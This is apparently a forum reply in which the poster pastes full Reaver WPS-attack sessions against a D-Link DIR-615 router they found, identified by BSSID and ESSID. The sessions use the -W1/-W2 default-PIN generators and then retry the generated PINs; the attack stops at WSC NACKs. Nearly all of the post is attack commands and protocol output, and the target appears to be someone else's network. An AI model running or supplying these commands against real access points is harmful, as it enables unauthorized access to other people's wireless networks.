sorry, i was too much obvious. Thank you for explanation and your work! I found only 1 D-Link router but it gave me the same problem. I believe it's one of "some models of these companies" which are protected.
I was trying both W2 and W1:
Code:
reaver -i mon0 -b 14:D6:4D:2D:C7:64 -c 3 -vv -S -W2

Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
mod by t6_x <[email protected]> & DataHead

[+] Switching mon0 to channel 3
[?] Restore previous session for 14:D6:4D:2D:C7:64? [n/Y] n
[+] Waiting for beacon from 14:D6:4D:2D:C7:64
[+] Associated with 14:D6:4D:2D:C7:64 (ESSID: 67248Lengen)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: e4:bc:d7:2b:75:a4:10:45:54:d4:69:98:e7:fe:a0:e6
[P] PKE: 57:09:eb:12:09:28:f1:e3:68:0f:21:fe:d8:9f:b4:15:21:31:4e:92:b9:70:55:e1:cd:59:7c:3d:c9:fc:fc:58:68:0a:60:9b:26:52:12:05:f5:17:c1:a7:a0:98:bf:40:f5:2e:8f:c1:ba:3c:bc:8b:78:d4:e5:9a:74:1b:8c:72:43:e4:a4:ed:1d:bf:00:dd:e8:39:14:c6:20:ea:57:09:8e:cc:b0:d8:fb:02:ba:71:c1:b2:ed:0a:e2:90:f3:ef:bd:1f:5a:77:59:58:52:83:3a:ec:6d:09:06:0f:1d:a9:0c:e2:7e:3e:91:35:5e:55:ac:29:4e:e3:11:59:9d:62:da:e5:fb:e7:61:9a:8d:3e:cb:d8:f1:cd:36:b2:29:91:e7:9e:46:79:9e:52:9d:d5:77:4a:43:ab:7d:87:ad:b9:d4:c9:82:19:5f:e0:7f:5a:ee:a3:48:5d:04:43:4b:b2:05:e4:4e:e8:9d:ca:f4:13:6d:d4:06:1b:88:9f:2b:75
[P] WPS Manufacturer: D-Link
[P] WPS Model Number: DIR-615
[P] WPS Model Serial Number: none
[Pin Gen] D-Link Default Pin Generator by devttys0 team
[Pin Gen] Pin Generated : 69130571

root@root:~# reaver -i mon0 -b 14:D6:4D:2D:C7:64 -c 3 -vv -p 69130571

Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
mod by t6_x <[email protected]> & DataHead

[+] Switching mon0 to channel 3
[+] Waiting for beacon from 14:D6:4D:2D:C7:64
[+] Associated with 14:D6:4D:2D:C7:64 (ESSID: 67248Lengen)
[+] Starting Cracking Session. Pin count: 10000, Max pin attempts: 11000
[+] Trying pin 69130571.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 1e:80:8f:8d:00:49:27:e8:34:c8:02:f1:be:6c:17:06
[P] PKE: 21:2c:e8:59:ca:7a:60:38:b2:4e:29:6a:a3:7e:58:d2:a5:df:89:03:a8:78:e6:27:39:1e:69:46:62:ba:af:af:d5:a0:1d:11:36:6a:c9:02:d8:23:a5:28:b3:69:f2:39:db:5e:2f:cc:0c:f4:81:29:64:1d:e7:f4:7f:62:c8:79:4a:dd:3b:ed:5d:e0:fd:08:66:2b:e3:02:24:3a:2d:35:48:4e:3e:d7:af:d2:8f:18:ba:50:eb:24:e0:5a:03:82:90:69:c1:a1:af:a3:bf:1c:5d:1b:54:48:5e:5b:61:06:1a:1f:54:b5:67:da:6a:e0:04:44:6a:f2:c0:2f:58:6d:4c:f7:a7:b3:ce:a3:dd:d4:ca:4a:fd:e5:ad:a7:c6:c3:e9:8f:f2:9b:97:f1:f5:9e:a4:07:8c:12:fe:ea:35:47:ee:cc:4e:8f:f0:64:6c:a7:7a:c7:6a:84:0f:ea:e8:77:76:e3:89:21:ba:4f:08:56:33:62:78:cf:1d:6c:57:7d
[P] WPS Manufacturer: D-Link
[P] WPS Model Number: DIR-615
[P] WPS Model Serial Number: none
[+] Received M1 message
[P] PKR: ab:c9:36:63:de:53:66:02:df:77:ae:85:a1:aa:90:61:f3:a0:7e:fd:0b:ba:68:e0:13:5b:70:10:66:46:6b:eb:26:d3:33:43:fa:0d:82:f2:b4:88:f6:8c:02:fb:0b:07:76:5c:06:8c:eb:36:b8:fd:7f:7e:ce:19:18:77:dd:24:e4:30:62:42:6f:a9:27:3c:dc:8d:1f:36:5c:c1:43:e3:23:c7:ba:c4:48:a9:c4:d8:a7:0a:64:2a:2c:0b:0d:8f:d7:5c:7f:d9:22:f5:8c:3b:50:42:17:fe:56:71:4a:ff:75:d2:18:df:44:0d:6f:ce:87:3c:38:77:f8:f1:09:39:8f:cc:ba:75:67:11:20:a2:bd:99:25:fe:62:ac:5b:9d:97:71:2f:96:7f:0e:da:44:3f:bd:62:9c:e4:53:d7:81:21:64:79:a0:46:6d:36:18:ec:77:57:43:6d:c4:d2:d3:43:e0:38:f6:4e:ae:5c:cc:ae:4c:d6:31:a5:68:cc:84
[P] AuthKey: dc:c0:e9:e9:e2:13:b4:81:d5:92:e6:b7:b8:7e:0e:e0:29:49:6e:eb:9a:95:7f:9e:05:92:48:3e:38:2a:86:3a
[+] Sending M2 message
[P] E-Hash1: 2c:08:61:26:58:76:5d:f6:ee:59:d9:7a:32:43:b8:f9:1f:05:3c:a4:cc:f6:22:3a:24:c8:9c:e2:ef:df:3a:52
[P] E-Hash2: 0e:3a:b4:d2:93:21:91:5e:66:3b:f4:e6:13:db:40:87:b9:fd:80:0b:2b:fa:87:37:fb:5d:41:67:21:38:aa:61
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p2_index set to 1
[+] Pin count advanced: 10001. Max pin attempts: 11000
[+] Trying pin 69130571.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
^C
[+] Session saved.
root@root:~# reaver -i mon0 -b 14:D6:4D:2D:C7:64 -c 3 -vv -W1 -S

Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
mod by t6_x <[email protected]> & DataHead

[+] Switching mon0 to channel 3
[?] Restore previous session for 14:D6:4D:2D:C7:64? [n/Y] n
[+] Waiting for beacon from 14:D6:4D:2D:C7:64
[+] Associated with 14:D6:4D:2D:C7:64 (ESSID: 67248Lengen)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 88:f6:3a:26:77:59:5d:b7:f9:07:f7:16:4b:6a:1c:af
[P] PKE: 9b:17:58:e6:f5:d8:bf:6e:b2:c7:4c:b3:b4:33:06:66:c2:1c:fa:0b:ae:a2:77:c2:25:64:1f:3f:cc:61:98:07:1f:bf:90:7c:bc:2f:c3:c0:f9:6b:07:77:bb:5c:58:18:e5:80:22:41:2c:28:77:d5:21:30:9f:37:70:94:aa:36:b4:dd:82:50:0d:28:b0:12:c3:cd:42:a8:d1:76:9b:90:4d:e9:a7:4e:52:4e:27:c4:92:39:af:31:4a:99:9e:33:ca:76:c6:a1:05:67:8f:87:ca:fc:6f:92:d7:47:99:4f:86:0d:a7:3c:7c:b2:b7:cc:6a:fc:a1:d8:81:0e:a8:c3:79:99:a7:c7:cb:01:94:dc:5c:ac:15:3f:25:22:85:47:6b:81:30:bf:aa:f5:d2:ab:ac:5a:b0:72:13:0b:85:97:02:15:70:11:0e:ce:49:16:43:a9:d3:23:89:6b:5e:cf:99:63:9a:bb:b4:e0:1f:3b:83:6e:f7:ff:72:e4:36:d5
[P] WPS Manufacturer: D-Link
[P] WPS Model Number: DIR-615
[P] WPS Model Serial Number: none
[Pin Gen] Belkin Default Pin Generator by devttys0 team
[Pin Gen] Pin Generated : 95278582

root@root:~# reaver -i mon0 -b 14:D6:4D:2D:C7:64 -c 3 -vv -p 95278582

Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
mod by t6_x <[email protected]> & DataHead

[+] Switching mon0 to channel 3
[+] Waiting for beacon from 14:D6:4D:2D:C7:64
[+] Associated with 14:D6:4D:2D:C7:64 (ESSID: 67248Lengen)
[+] Starting Cracking Session. Pin count: 10000, Max pin attempts: 11000
[+] Trying pin 95278582.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: ff:94:71:b4:2c:c9:c9:f7:58:84:92:e0:5c:f4:76:ee
[P] PKE: 57:c6:10:df:65:ef:bc:3b:d4:f0:04:9c:ad:01:05:58:ff:67:c5:31:67:16:f5:bf:6d:0e:13:2e:b2:87:f9:a3:12:1d:bb:3b:79:be:6a:34:eb:e2:2d:3f:92:65:56:57:87:9a:b6:7b:0f:59:ba:d0:b3:28:1f:97:56:50:03:f0:1e:a8:68:f9:6f:23:f7:81:98:10:de:9a:88:c6:39:36:78:62:ae:86:29:c0:d7:a3:b4:93:2c:34:b5:d1:a0:7f:a0:de:16:59:67:d8:82:93:e9:79:77:23:3a:19:b8:7f:e6:c8:c6:15:33:c7:2a:c2:82:c6:2a:64:e9:98:3e:26:47:1a:b5:96:68:ee:bd:80:4c:ba:8e:ff:2f:94:e9:b2:fd:6a:89:e1:a8:59:f1:c6:8c:00:cb:1e:ac:ca:87:e1:f8:88:9a:fb:36:26:31:90:86:ee:2c:81:40:71:d0:e8:2d:f0:37:25:73:ff:e6:56:ee:7f:1c:d2:03:8a:3b:97
[P] WPS Manufacturer: D-Link
[P] WPS Model Number: DIR-615
[P] WPS Model Serial Number: none
[+] Received M1 message
[P] PKR: 73:ff:53:78:47:21:ee:d6:b8:90:4f:4f:bf:14:d6:7a:80:f8:b0:60:d7:45:9e:ca:96:a4:ca:d1:e5:09:5e:d1:14:68:2d:78:45:e1:f8:28:39:54:13:2a:8f:c5:e0:8d:9e:02:cb:78:85:7d:e3:71:c4:34:91:ef:19:dc:e6:47:10:1e:b7:ec:08:a7:2a:6a:f2:b1:52:ab:43:f0:ce:0e:cb:68:30:d7:14:12:5d:6f:d0:0a:16:ad:65:ff:1f:6f:80:22:d8:70:87:1f:2f:65:de:af:63:b1:92:1d:20:e2:a1:6a:db:4b:59:4d:fc:ea:e0:e0:d7:53:4f:b2:57:7e:58:e5:d1:f5:38:4c:a4:35:b0:77:dc:72:1f:c1:49:a6:62:aa:83:4c:52:69:77:64:5a:52:7d:55:d4:79:6d:5b:fd:31:29:66:bc:0a:27:00:f0:1d:78:13:af:c8:62:10:18:84:30:59:65:d4:56:f2:14:9c:25:21:ed:7f:7d:93
[P] AuthKey: eb:19:49:07:2c:05:08:68:49:1f:e1:03:71:fa:31:02:0e:e8:d2:6c:38:93:77:87:58:b1:5c:79:16:3f:f0:a3
[+] Sending M2 message
[P] E-Hash1: d8:46:6a:42:ad:f5:1a:c0:4e:07:f3:19:89:01:7f:13:4d:a2:c5:49:f5:ba:83:2f:22:c1:31:71:5e:5e:31:9e
[P] E-Hash2: 62:b2:a7:fb:86:45:ed:89:f8:13:55:59:e4:91:70:0f:3a:26:5a:81:fd:71:60:13:fd:c2:c5:61:e4:85:1c:ba
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p2_index set to 1
[+] Pin count advanced: 10001. Max pin attempts: 11000
[+] Trying pin 95278582.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: c0:d3:bf:2d:93:56:f7:70:dc:a8:59:f5:36:d0:72:93
[P] PKE: c5:86:72:3c:5a:5e:03:03:c1:13:4c:64:3e:3e:89:57:7b:76:f7:2b:1c:ff:2a:91:89:33:d6:d9:b3:bb:f4:d1:06:52:d9:01:87:cf:52:f5:6c:14:65:52:fd:8d:00:68:47:b9:d4:ca:14:db:8a:8a:3b:e6:d0:f1:eb:43:29:0f:28:5e:90:48:95:fa:53:ef:bb:9c:9e:f0:61:1d:71:83:85:cb:a8:32:ea:8b:50:a2:21:00:a2:5d:73:b7:bd:6c:d5:94:89:12:3d:e6:ca:5e:ff:8c:d5:4c:f4:d7:8b:9a:55:8e:5d:79:47:a4:38:11:66:68:29:4b:16:84:9c:a0:47:19:c5:50:a8:36:97:73:d2:63:a9:f3:16:bb:2a:4a:6e:8f:d7:09:e1:ac:5c:1f:68:19:17:b8:70:77:94:e0:d1:53:f7:8f:7d:f1:ad:14:c0:7e:da:9f:26:fe:19:ab:6c:52:dc:8e:88:fd:94:0b:cb:33:ce:d1:61:42:8c:bb
[P] WPS Manufacturer: D-Link
[P] WPS Model Number: DIR-615
[P] WPS Model Serial Number: none
[+] Received M1 message
[P] PKR: b9:8a:d9:34:3e:d8:cd:45:b1:1d:f6:17:d1:16:fd:68:76:3d:59:44:de:eb:14:ca:dd:db:34:7f:1f:70:6a:45:0b:c1:0f:d7:c6:5e:5f:e0:be:30:ce:cc:66:9e:99:20:6c:86:2e:5a:de:5f:40:47:ef:68:fc:cd:3a:59:40:fa:09:5a:6d:c7:af:31:2a:96:b9:7a:08:d2:fc:75:dc:4b:0b:da:ca:61:de:c6:4e:d4:c7:49:58:89:83:97:d9:ef:21:c9:70:07:26:96:3a:6b:6b:71:34:fe:62:c0:61:ef:7e:66:bc:1c:44:10:0f:54:59:ba:5a:77:46:75:ce:87:7e:71:12:94:b5:51:2f:6b:b7:19:7b:cf:e5:45:78:5f:8b:1f:e1:1e:3f:09:1a:cc:99:4e:11:a7:fc:96:23:2d:8a:57:31:25:27:b6:67:43:56:63:c2:d6:7d:96:50:9d:e8:72:2a:36:7a:a5:8d:03:c4:0e:92:5a:56:6e:34:22
[P] AuthKey: 34:92:98:34:a9:c5:f8:45:40:64:7e:e1:c5:de:27:af:88:35:80:6b:1e:49:d4:6e:d3:94:d3:99:0e:69:07:2c
[+] Sending M2 message
^C